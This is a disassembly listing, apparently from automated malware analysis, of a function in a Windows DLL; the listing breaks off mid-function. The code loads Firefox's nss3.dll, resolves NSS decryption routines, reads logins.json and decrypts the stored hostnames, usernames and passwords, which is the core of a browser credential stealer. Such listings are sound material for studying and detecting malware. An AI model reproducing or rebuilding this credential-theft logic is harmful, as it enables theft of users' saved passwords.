Function at 0x180092880
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4b0]
sub rsp, 0x5b0
xor r13d, r13d
lea rcx, [rbp + 0x450]
mov r12d, 0xf
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r12
mov r14, r9
mov byte [rsp + 0x30], r13b
mov rsi, r8
mov r15, rdx
call fcn.1800bea10
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1800928eb
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x18009293b
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180092936
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180094526
mov rcx, r8
call fcn.1800cb8d0
xor ecx, ecx
movaps xmmword [rsp + 0x5a0], xmm6
movaps xmmword [rsp + 0x590], xmm7
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], r12
mov byte [rbx], cl
test rdi, rdi
jne 0x180092a57
mov rbx, qword [rbp + 0x4f0]
lea rdx, [0x1801090b0]
xor r8d, r8d
mov byte [rbx], cl
mov rcx, rbx
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], r12
call fcn.1800bef90
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x1800929bd
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1800929b8
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180094520
mov rcx, r8
call fcn.1800cb8d0
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], r12
mov byte [r15], dil
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x180092a02
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1800929fd
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180094520
mov rcx, r8
call fcn.1800cb8d0
mov qword [rsi + 0x10], rdi
mov byte [rsi], dil
mov qword [rsi + 0x18], r12
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x180092a47
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x180092a42
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180094520
mov rcx, r8
call fcn.1800cb8d0
mov qword [r14 + 0x10], rdi
mov byte [r14], dil
mov qword [r14 + 0x18], r12
jmp 0x1800944ec
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x180129a48], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x180129a88], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x180129a70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x180129a40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x1801299d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x180129a60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsi + 0x10]
lea rcx, [rbp - 0x18]
xor edi, edi
mov qword [0x180129a10], rax
add rdx, 0xc
mov qword [rbp - 8], rdi
mov qword [rbp], r12
mov byte [rbp - 0x18], dil
call fcn.1800c17c0
cmp qword [rsi + 0x18], 0x10
mov rdx, rsi
jb 0x180092b24
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rbp - 0x18]
call fcn.1800be770
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rbp - 0x18]
call fcn.1800be770
cmp qword [rbp], 0x10
lea rcx, [rbp - 0x18]
lea rdx, [0x180113c10]
cmovae rcx, qword [rbp - 0x18]
call fcn.1800d77e8
test rax, rax
je 0x180092b72
mov rcx, rax
call fcn.1800d7878
mov bl, 1
jmp 0x180092b74
xor bl, bl
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x180092baf
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092baa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009452c
call fcn.1800cb8d0
mov qword [rbp - 8], rdi
mov qword [rbp], r12
mov byte [rbp - 0x18], dil
test bl, bl
je 0x18009447e
cmp qword [rsi + 0x18], 0x10
mov rcx, rsi
jb 0x180092bd0
mov rcx, qword [rsi]
call qword [0x180129a48]
mov rdx, rsi
lea rcx, [rbp + 0x470]
call fcn.1800bea10
mov rcx, rax
call fcn.180091e30
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], r12
mov byte [rsp + 0x50], dil
inc r8
cmp byte [rax + r8], dil
jne 0x180092c03
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.1800bef90
cmp qword [rsp + 0x60], rdi
jbe 0x18009443f
xor r15d, r15d
mov cl, 1
mov qword [rbp + 0x70], r15
call fcn.1800ccf84
xor edx, edx
mov qword [rbp + 0x90], rax
lea rcx, [rbp - 0x2c]
call fcn.1800cc9e0
mov rdi, qword [0x18012a118]
mov rsi, qword [0x18012a0f8]
mov qword [rbp + 8], rsi
test rdi, rdi
jne 0x180092c96
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.1800cc9e0
cmp qword [0x18012a118], r13
jne 0x180092c86
mov eax, dword [0x1801283a0]
inc eax
mov dword [0x1801283a0], eax
cdqe
mov qword [0x18012a118], rax
lea rcx, [rbp - 0x30]
call fcn.1800cca58
mov rdi, qword [0x18012a118]
mov rcx, qword [rbp + 0x90]
cmp rdi, qword [rcx + 0x18]
jae 0x180092cb2
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x180092d13
jmp 0x180092cb5
mov rbx, r15
cmp byte [rcx + 0x24], r13b
je 0x180092cce
call fcn.1800ccf7c
cmp rdi, qword [rax + 0x18]
jae 0x180092cd3
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x180092d13
test rsi, rsi
je 0x180092cdd
mov rbx, rsi
jmp 0x180092d13
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 8]
call fcn.1800c0420
cmp rax, 0xffffffffffffffff
je 0x180094532
mov rbx, qword [rbp + 8]
mov rcx, rbx
call fcn.1800ccf44
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18012a0f8], rbx
lea rcx, [rbp - 0x2c]
call fcn.1800cca58
lea rcx, [rbp + 0x88]
mov qword [rbp + 0x78], rbx
call fcn.1800bf1a0
lea r8, [0x180113d4c]
mov qword [rbp + 0x80], rax
lea rdx, str._hostname_:_______
lea rcx, [rbp + 0x70]
call fcn.1800bf970
mov cl, 1
mov qword [rbp + 0x48], r15
call fcn.1800ccf84
xor edx, edx
mov qword [rbp + 0x68], rax
lea rcx, [rbp - 0x24]
call fcn.1800cc9e0
mov rdi, qword [0x18012a118]
mov rsi, qword [0x18012a0f8]
mov qword [rbp + 0x10], rsi
test rdi, rdi
jne 0x180092db6
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.1800cc9e0
cmp qword [0x18012a118], r13
jne 0x180092da6
mov eax, dword [0x1801283a0]
inc eax
mov dword [0x1801283a0], eax
cdqe
mov qword [0x18012a118], rax
lea rcx, [rbp - 0x28]
call fcn.1800cca58
mov rdi, qword [0x18012a118]
mov rcx, qword [rbp + 0x68]
cmp rdi, qword [rcx + 0x18]
jae 0x180092dcf
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x180092e2d
jmp 0x180092dd2
mov rbx, r15
cmp byte [rcx + 0x24], r13b
je 0x180092deb
call fcn.1800ccf7c
cmp rdi, qword [rax + 0x18]
jae 0x180092df0
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x180092e2d
test rsi, rsi
je 0x180092dfa
mov rbx, rsi
jmp 0x180092e2d
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x10]
call fcn.1800c0420
cmp rax, 0xffffffffffffffff
je 0x180094538
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.1800ccf44
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18012a0f8], rbx
lea rcx, [rbp - 0x24]
call fcn.1800cca58
lea rcx, [rbp + 0x60]
mov qword [rbp + 0x50], rbx
call fcn.1800bf1a0
lea r8, [0x180113d6d]
mov qword [rbp + 0x58], rax
lea rdx, str._encryptedUsername_:_______
lea rcx, [rbp + 0x48]
call fcn.1800bf970
mov cl, 1
mov qword [rbp + 0x20], r15
call fcn.1800ccf84
xor edx, edx
mov qword [rbp + 0x40], rax
lea rcx, [rbp - 0x1c]
call fcn.1800cc9e0
mov rdi, qword [0x18012a118]
mov rsi, qword [0x18012a0f8]
mov qword [rbp + 0x18], rsi
test rdi, rdi
jne 0x180092eca
xor edx, edx
lea rcx, [rbp - 0x20]
call fcn.1800cc9e0
cmp qword [0x18012a118], r13
jne 0x180092eba
mov eax, dword [0x1801283a0]
inc eax
mov dword [0x1801283a0], eax
cdqe
mov qword [0x18012a118], rax
lea rcx, [rbp - 0x20]
call fcn.1800cca58
mov rdi, qword [0x18012a118]
mov rcx, qword [rbp + 0x40]
cmp rdi, qword [rcx + 0x18]
jae 0x180092ee3
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x180092f41
jmp 0x180092ee6
mov rbx, r15
cmp byte [rcx + 0x24], r13b
je 0x180092eff
call fcn.1800ccf7c
cmp rdi, qword [rax + 0x18]
jae 0x180092f04
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x180092f41
test rsi, rsi
je 0x180092f0e
mov rbx, rsi
jmp 0x180092f41
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x18]
call fcn.1800c0420
cmp rax, 0xffffffffffffffff
je 0x18009453e
mov rbx, qword [rbp + 0x18]
mov rcx, rbx
call fcn.1800ccf44
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18012a0f8], rbx
lea rcx, [rbp - 0x1c]
call fcn.1800cca58
lea rcx, [rbp + 0x38]
mov qword [rbp + 0x28], rbx
call fcn.1800bf1a0
lea r8, [0x180113d8d]
mov qword [rbp + 0x30], rax
lea rdx, str._encryptedPassword_:_______
lea rcx, [rbp + 0x20]
call fcn.1800bf970
mov rdx, qword [rsp + 0x68]
lea rbx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
cmp rdx, 0x10
xorps xmm0, xmm0
mov qword [rbp + 0xa0], r15
cmovae rbx, rax
mov qword [rbp + 0xd0], r15
xor ecx, ecx
mov qword [rbp + 0xf8], r15
xorps xmm1, xmm1
mov qword [rbp + 0x100], r15
mov qword [rbp - 0x80], r15
mov rsi, r12
mov qword [rbp - 0x60], rcx
mov r15, r12
mov byte [rbp - 0x70], cl
mov rdi, r12
mov qword [rbp - 0x40], rcx
mov byte [rbp - 0x50], cl
mov byte [rbp + 0xa8], r13b
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmmword [rbp + 0xc0], xmm1
mov byte [rbp + 0xd8], r13b
movdqa xmmword [rbp + 0xe0], xmm0
mov byte [rbp + 0xf0], r13b
mov byte [rbp + 0x108], r13b
mov qword [rbp - 0x78], r12
mov byte [rsp + 0x70], r13b
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x38], r12
nop dword [rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x50]
cmovae rcx, rax
lea r9, [rbp + 0x70]
add rdx, rcx
lea r8, [rbp + 0xa0]
mov rcx, rbx
call fcn.1800c4680
test al, al
je 0x1800941dc
mov rcx, qword [rbp + 0xb8]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0xb0]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmp rdx, 1
jbe 0x180093085
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x180093097
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x330], xmm0
jmp 0x1800930a2
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x330], xmm0
mov rdx, qword [rbp + 0x330]
xor r15d, r15d
mov r8, qword [rbp + 0x338]
mov eax, 0xf
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x190], r15b
cmp rdx, r8
je 0x1800930e8
sub r8, rdx
lea rcx, [rbp + 0x190]
call fcn.1800bef90
mov rax, qword [rbp + 0x1a8]
cmp rax, 0x10
lea rcx, [rbp + 0x190]
cmovae rcx, qword [rbp + 0x190]
call fcn.180092760
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180093110
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1800bef90
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x180093167
mov rcx, qword [rbp + 0x190]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093162
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094544
call fcn.1800cb8d0
cmp qword [rsp + 0x68], 0x10
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
lea r9, [rbp + 0x48]
cmovae rcx, qword [rsp + 0x50]
lea r8, [rbp + 0xa0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c4680
mov rcx, qword [rbp + 0xb8]
mov rax, rsi
mov r8, qword [rbp + 0xb0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmp rdx, 1
jbe 0x1800931ce
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x1800931e0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x360], xmm0
jmp 0x1800931eb
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x360], xmm0
mov rdx, qword [rbp + 0x360]
mov r8, qword [rbp + 0x368]
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], 0xf
mov byte [rbp + 0x3b0], r15b
cmp rdx, r8
je 0x180093226
sub r8, rdx
lea rcx, [rbp + 0x3b0]
call fcn.1800bef90
lea rcx, [rbp + 0x3b0]
call fcn.1800925d0
mov rcx, rax
call fcn.180092760
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180093240
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1800bef90
cmp qword [rsp + 0x68], 0x10
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
lea r9, [rbp + 0x20]
cmovae rcx, qword [rsp + 0x50]
lea r8, [rbp + 0xa0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c4680
mov rcx, qword [rbp + 0xb8]
mov rax, rsi
mov r8, qword [rbp + 0xb0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmp rdx, 1
jbe 0x1800932bc
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x1800932ce
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x370], xmm0
jmp 0x1800932d9
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x370], xmm0
mov rdx, qword [rbp + 0x370]
mov r8, qword [rbp + 0x378]
mov qword [rbp + 0x3e0], r15
mov qword [rbp + 0x3e8], 0xf
mov byte [rbp + 0x3d0], r15b
cmp rdx, r8
je 0x180093314
sub r8, rdx
lea rcx, [rbp + 0x3d0]
call fcn.1800bef90
lea rcx, [rbp + 0x3d0]
call fcn.1800925d0
mov rcx, rax
call fcn.180092760
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x180093330
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1800bef90
mov r8d, 9
mov qword [rbp + 0x1c0], r15
cmp qword [rbp - 0x80], r8
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x1b0]
mov qword [rbp + 0x1c8], 0xf
cmovb r8, qword [rbp - 0x80]
cmp qword [rbp - 0x78], 0x10
mov byte [rbp + 0x1b0], r15b
cmovae rdx, qword [rsp + 0x70]
call fcn.1800bef90
mov rdx, qword [rbp + 0x1c8]
lea rax, [rbp + 0x1b0]
mov rcx, qword [rbp + 0x1b0]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x1c0], 9
jne 0x1800933ca
movabs r8, 0x2f3a656d6f726863
cmp qword [rax], r8
jne 0x1800933ca
cmp byte [rax + 8], 0x2f
jne 0x1800933ca
xor dil, dil
jmp 0x1800933cd
mov dil, 1
cmp rdx, 0x10
jb 0x180093400
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800933fb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094568
call fcn.1800cb8d0
test dil, dil
je 0x180094148
mov rax, qword [r14 + 0x18]
mov rcx, r14
cmp rax, 0x10
jb 0x180093419
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x180093abd
cmp byte [rcx], 0x30
jne 0x180093abd
mov rdi, qword [rbp - 0x80]
mov rcx, rax
mov rsi, qword [rbp - 0x60]
test rdi, rdi
je 0x180093ac8
test rsi, rsi
je 0x180093ac8
cmp qword [rbp - 0x40], r15
je 0x180093ac8
lea rdx, [r13 + 1]
mov qword [rbp + 0x120], r15
lea rcx, [rbp + 0x110]
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], r15b
call fcn.1800c17c0
cmp r12, 0x10
lea rdx, [rsp + 0x30]
mov r8, r13
lea rcx, [rbp + 0x110]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0x110]
call fcn.1800be770
cmp qword [rbp - 0x78], 0x10
lea rdx, [rsp + 0x70]
mov r8, rdi
lea rcx, [rbp + 0x110]
cmovae rdx, qword [rsp + 0x70]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
lea rcx, [rbp + 0x1d0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x3f0], xmm6
movups xmmword [rbp + 0x400], xmm7
cmp rdx, 0x10
jb 0x180093571
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009356c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009454a
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x1e8]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x1800935bc
mov rcx, qword [rbp + 0x1d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800935b7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009454a
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x128]
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], r15b
cmp rdx, 0x10
jb 0x180093616
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093611
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009454a
call fcn.1800cb8d0
mov rdi, qword [rbp + 0x400]
lea rcx, [rbp + 0x130]
mov qword [rbp + 0x140], r15
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], r15b
lea rdx, [rdi + 1]
call fcn.1800c17c0
cmp qword [rbp + 0x408], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x130]
cmovae rdx, qword [rbp + 0x3f0]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0x130]
call fcn.1800be770
cmp qword [rbp - 0x58], 0x10
lea rdx, [rbp - 0x70]
mov r8, rsi
lea rcx, [rbp + 0x130]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
lea rcx, [rbp + 0x1f0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm7
cmp rdx, 0x10
jb 0x18009373e
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093739
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094550
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x208]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180093789
mov rcx, qword [rbp + 0x1f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093784
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094550
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x148]
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], r15b
cmp rdx, 0x10
jb 0x1800937e3
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800937de
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094550
call fcn.1800cb8d0
mov rdi, qword [rbp + 0x420]
lea rcx, [rbp + 0x150]
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], r15b
lea rdx, [rdi + 1]
call fcn.1800c17c0
cmp qword [rbp + 0x428], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x150]
cmovae rdx, qword [rbp + 0x410]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0x150]
call fcn.1800be770
cmp qword [rbp - 0x38], 0x10
lea rdx, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x150]
cmovae rdx, qword [rbp - 0x50]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
lea rcx, [rbp + 0x210]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x390], xmm6
movups xmmword [rbp + 0x3a0], xmm7
cmp rdx, 0x10
jb 0x18009390c
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093907
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094556
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x228]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x180093957
mov rcx, qword [rbp + 0x210]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093952
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094556
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x168]
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x228], 0xf
mov byte [rbp + 0x210], r15b
cmp rdx, 0x10
jb 0x1800939b1
mov rcx, qword [rbp + 0x150]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800939ac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180094556
call fcn.1800cb8d0
mov rdi, qword [rbp + 0x3a0]
lea rcx, [rbp + 0x230]
mov qword [rbp + 0x240], r15
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], r15b
lea rdx, [rdi + 1]
call fcn.1800c17c0
cmp qword [rbp + 0x3a8], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x230]
cmovae rdx, qword [rbp + 0x390]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x18010a0cc]
lea rcx, [rbp + 0x230]
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180093a5b
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093a56
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009455c
call fcn.1800cb8d0
movups xmm0, xmmword [rbp + 0x230]
xor r8d, r8d
lea rdx, [0x1801090b0]
movups xmm1, xmmword [rbp + 0x240]
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x70]
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x50]
call fcn.1800bef90
mov rcx, qword [r14 + 0x18]
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
jmp 0x180093ac0
mov rcx, rax
mov rsi, qword [rbp - 0x60]
mov rdi, qword [rbp - 0x80]
mov rax, r14
cmp rcx, 0x10
jb 0x180093ad4
mov rax, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x180094138
cmp byte [rax], 0x31
jne 0x180094138
test rdi, rdi
je 0x180094138
test rsi, rsi
je 0x180094138
mov r15, qword [rbp - 0x40]
test r15, r15
je 0x180094138
xor ecx, ecx
mov qword [rbp + 0x188], 0xf
mov qword [rbp + 0x180], rcx
lea rdx, [r13 + 3]
mov byte [rbp + 0x170], cl
lea rcx, [rbp + 0x170]
call fcn.1800c17c0
cmp r12, 0x10
lea rdx, [rsp + 0x30]
mov r8, r13
lea rcx, [rbp + 0x170]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800be770
mov r8d, 3
lea rdx, [0x180113c6c]
lea rcx, [rbp + 0x170]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c68]
lea rcx, [rbp + 0x170]
call fcn.1800be770
xor r12d, r12d
lea rdx, str.Firefox
lea rcx, [rbp + 0x340]
movups xmm0, xmmword [rax]
lea r8d, [r12 + 7]
movups xmmword [rbp + 0x340], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x350], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
call fcn.1800be770
lea r8d, [r12 + 1]
lea rdx, [0x180113c68]
